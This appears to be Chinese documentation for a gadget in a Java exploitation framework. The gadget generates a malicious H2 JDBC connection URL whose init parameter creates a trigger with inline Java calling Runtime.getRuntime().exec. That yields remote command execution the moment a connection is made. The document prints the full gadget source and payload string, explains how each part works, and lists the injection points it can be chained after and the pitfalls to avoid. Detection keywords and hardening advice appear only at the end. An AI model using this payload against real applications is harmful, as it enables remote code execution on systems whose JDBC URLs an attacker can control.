- 类别:
common别名:(无) 优先级:10 - 作者:Unam4、Springkill
- 依赖:
com.h2database:h2:org.h2.Driver、All JDk(不挑 JDK 版本) - 实现:
Gadget(非反序列化跳板,而是 JDBC URL 注入型 sink)
面向 JDBC URL 注入 / JDBC RCE 场景:当目标应用会用攻击者可控的 JDBC 连接字符串去连接数据库时,本 gadget 生成一段恶意的 H2 内存库连接 URL。该 URL 借助 H2 的 init(连接建立时执行的初始化 SQL)参数,CREATE TRIGGER 定义一段内联 Java 源码,H2 在建连过程中即时 编译并执行该 Java,最终以 Runtime.getRuntime().exec 直接执行系统命令。相较字节码加载类 gadget(如 H2JavaJdbc2 系列走 javac + 任意字节码),本 gadget 的 payload 更短、只做命令执行,故命名「命令执行2」。
它是链的 最尾端 sink(END):自身产出最终字符串 payload(JDBC URL),不再包装任何更内层对象,chain 参数在 invoke 中未被使用。
- 入口
tags:H2JdbcUrl、JdbcUrlChains、ENDJdbcUrlChains:声明「我是一条 JDBC URL 型利用」,由 JDBC URL 注入类的 Payload 入口 / 上游注入点承接(如 Fastjson/Jackson 触发DataSource.getConnection、C3P0、HikariCP 等把可控 URL 传入DriverManager.getConnection的场景)。H2JdbcUrl:进一步限定为 H2 驱动专用的 URL(依赖org.h2.Driver)。END:链尾终结标签,表示本 gadget 自身即产出最终 payload,其后不再有下一环。
- 衔接
nextTags:(空)—— 作为END节点,不向后衔接任何 gadget。 excludes:(空)。
在链中的角色:sink / 链尾。上游只需提供「把这段 URL 交给 H2 驱动去连接」的能力,本 gadget 负责把命令包装进 H2 可执行的 SQL/Java。
全类仅两个方法,逻辑集中在 getObject():
@GadgetTags(tags={"H2JdbcUrl", "JdbcUrlChains", "END"})
@GadgetAnnotation(name="H2 JDBC URL Java命令执行2", description="...Payload比较简短", dependencies={"com.h2database:h2:org.h2.Driver", "All JDk"}, authors={"Unam4", "Springkill"}, priority=10)
public class H2JavaExecJdbc2 implements Gadget {
@Param(name="命令", description="eg: cmd /c calc")
public String cmd = "cmd /c calc";
public String driverClassName = "org.h2.Driver";
public String getObject() {
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER UNAM4 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec(\"" + this.cmd + "\")\\;}$$";
return url;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
return this.getObject();
}
}逐段解释:
jdbc:h2:mem:test:连接一个名为test的 内存态 H2 数据库。内存库无需磁盘、无需鉴权即可创建,连接动作本身就足以触发后续init逻辑,是 H2 JDBC 攻击的经典载体。MODE=MSSQLServer:切换 H2 的兼容模式。设置该 MODE 影响 H2 对建连后元数据查询、语法解析的行为,配合BEFORE SELECT ON INFORMATION_SCHEMA.TABLES触发器保证在连接建立阶段就有一次对系统表INFORMATION_SCHEMA.TABLES的自动SELECT,从而在 无需显式执行任何业务 SQL 的情况下引爆触发器。init=...:H2 的连接参数,其值是一段在连接建立时由 H2 自动执行的初始化 SQL。这是整个利用的入口——攻击者无需应用主动执行查询,仅「连上这个库」即可。CREATE TRIGGER UNAM4 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec("<cmd>")\;}$$:- H2 支持以
$$ ... $$包裹一段 内联 Java 源码 定义触发器实现,建连时 H2 会用内置编译器把这段 Java 编译成类并加载。 - 触发器绑定在
INFORMATION_SCHEMA.TABLES的BEFORE SELECT上:H2 在建连与元数据交互过程中会自动读取该系统表,触发器随即被调用,内联的UNAM4()方法执行Runtime.getRuntime().exec(cmd)完成命令执行。 exec(...)\;中的\;(源码字符串里的\\;)是对分号的转义:H2 在解析init/SQL 时以;作为语句分隔符,Java 源码体内部的;必须转义为\;,否则会被 H2 提前切断语句,导致触发器体不完整。- 方法体内的换行
ON\nINFORMATION_SCHEMA.TABLES(源码里的\n)仅是 SQL 中的换行,无害。
- H2 支持以
invoke():把驱动类名org.h2.Driver写入GadgetContext(ContextTag.DRIVER_CLASS_NAME_KEY),供上游 Payload 组装时知道该用哪个 JDBC 驱动加载这条 URL;随后返回getObject()生成的 URL 字符串作为本链产物。注意chain参数未被使用——印证其END定位:没有更内层对象需要chain.doCreate取出。
与 H2JavaExecJdbc1 的差异:H2JavaExecJdbc1 走 INIT=CREATE ALIAS EXEC AS 'void cmd_exec...' + 显式 CALL EXEC(...)(存储别名 + 主动调用),需要触发一次别名调用;本 Jdbc2 改用 TRIGGER BEFORE SELECT ON INFORMATION_SCHEMA.TABLES,把执行时机挂到建连必然发生的系统表读取上,因而不依赖任何显式业务查询,隐蔽性与通用性更好,且标注 All JDk(不限 JDK 版本,因为只用最基础的 Runtime.exec,不涉及高版本受限的反射/字节码 API)。
| 字段 | 名称 | 说明 | 类型 | 默认值 | 可选值 |
|---|---|---|---|---|---|
cmd |
命令 | 要执行的系统命令,直接拼入内联 Java 的 Runtime.getRuntime().exec("...")。示例:cmd /c calc |
String |
cmd /c calc |
无(自由填写) |
另有公开字段
driverClassName(默认org.h2.Driver),非@Param,一般无需改动;在invoke中写入上下文DRIVER_CLASS_NAME_KEY。注意
cmd是原样字符串拼接进 URL 与 Java 源码,未做转义。含空格的命令由Runtime.exec(String)按空白切分参数(非 shell 解析),需要 shell 特性时应显式用cmd /c ...或/bin/sh -c ...形式;若cmd中包含"、;、$$等字符会破坏 URL/触发器语法。
- 数据库:需目标侧存在 H2 驱动(
com.h2database:h2,org.h2.Driver)。H2 的init/INIT连接参数 +CREATE TRIGGER ... AS $$ java $$内联编译能力是利用根因;该能力在受影响的 H2 版本上默认可用,无需额外配置。 - JDK:标注
All JDk——仅使用Runtime.getRuntime().exec,不触碰高版本 JDK 收紧的模块/反射限制,故不挑 JDK 版本(对比字节码加载类 H2 gadget 常受 JDK 版本约束)。 - 触发条件:应用侧存在「用可控 JDBC URL 建连」的注入点(如可控数据源配置、Fastjson/Jackson 反序列化触达
getConnection、C3P0/HikariCP/DBCP 等连接池的 JDBC URL 可控)。仅建立连接即触发,无需应用执行业务 SQL。 - 坑点:
cmd未转义,特殊字符会破坏 payload;MODE=MSSQLServer与BEFORE SELECT ON INFORMATION_SCHEMA.TABLES的组合是为保证建连即触发,改动这两处可能导致触发器不被调用。
usedInChains为空:自由构件,未直接出现在 51 条预设链中。可按标签自行组合到任意「JDBC URL 注入」型入口之后(承接JdbcUrlChains/H2JdbcUrl的 Payload 或上游 gadget)。
- 同族 H2 JDBC URL sink(同为
H2JdbcUrl/JdbcUrlChains/END):- H2JavaExecJdbc1:
CREATE ALIAS+CALL变体,命令执行。 H2JavaJdbc1/H2JavaJdbc2/H2JavaJdbc3:加载任意字节码(走javac/Base64 解码),能力更强但 payload 更大、部分受 JDK 版本约束。H2GroovyExecJdbc/H2JsExecJdbc/H2JavaReverseJdbc/H2RemoteJdbc:Groovy/JS 执行、反弹 shell、远程库等其它 H2 变体。
- H2JavaExecJdbc1:
- 上游承接者(
tags=JdbcUrlChains):JDBC URL 注入类 Payload 入口,以及各连接池/数据源工厂 JdbcAttack(如HikariJdbcAttack、DruidJdbcAttack、TomcatDbcp2JdbcAttack等,见 )。
- 检测特征(流量 / 配置 / 日志):
- JDBC 连接串中出现
jdbc:h2:且携带init=/INIT=(大小写不敏感)。 - URL 中包含
CREATE TRIGGER/CREATE ALIAS、$$(内联源码块定界符)、INFORMATION_SCHEMA.TABLES、Runtime.getRuntime().exec、RUNSCRIPT、MODE=MSSQLServer等关键片段。 - H2 在建连时编译内联 Java 会在类路径/临时目录留下动态编译痕迹,进程树中 H2 宿主进程 fork 出
cmd.exe/calc.exe/sh等异常子进程。
- JDBC 连接串中出现
- 加固建议:
- 禁止 JDBC URL 由外部输入直接拼装/覆盖;对数据源 URL 做白名单(仅允许固定 host/driver/参数),拒绝
init/INIT/RUNSCRIPT/TRIGGER/ALIAS等危险参数与关键字。 - 生产环境移除不必要的 H2 驱动依赖;若必须使用 H2,禁用其允许在连接参数中执行初始化 SQL 的能力,升级到修复相关行为的 H2 版本。
- 收敛反序列化面(Fastjson/Jackson autoType、连接池反序列化),阻断「可控对象 → 可控 JDBC URL → getConnection」的链路。
- 对应用运行账户做最小权限与出网/子进程限制,降低命令执行后果。
- 禁止 JDBC URL 由外部输入直接拼装/覆盖;对数据源 URL 做白名单(仅允许固定 host/driver/参数),拒绝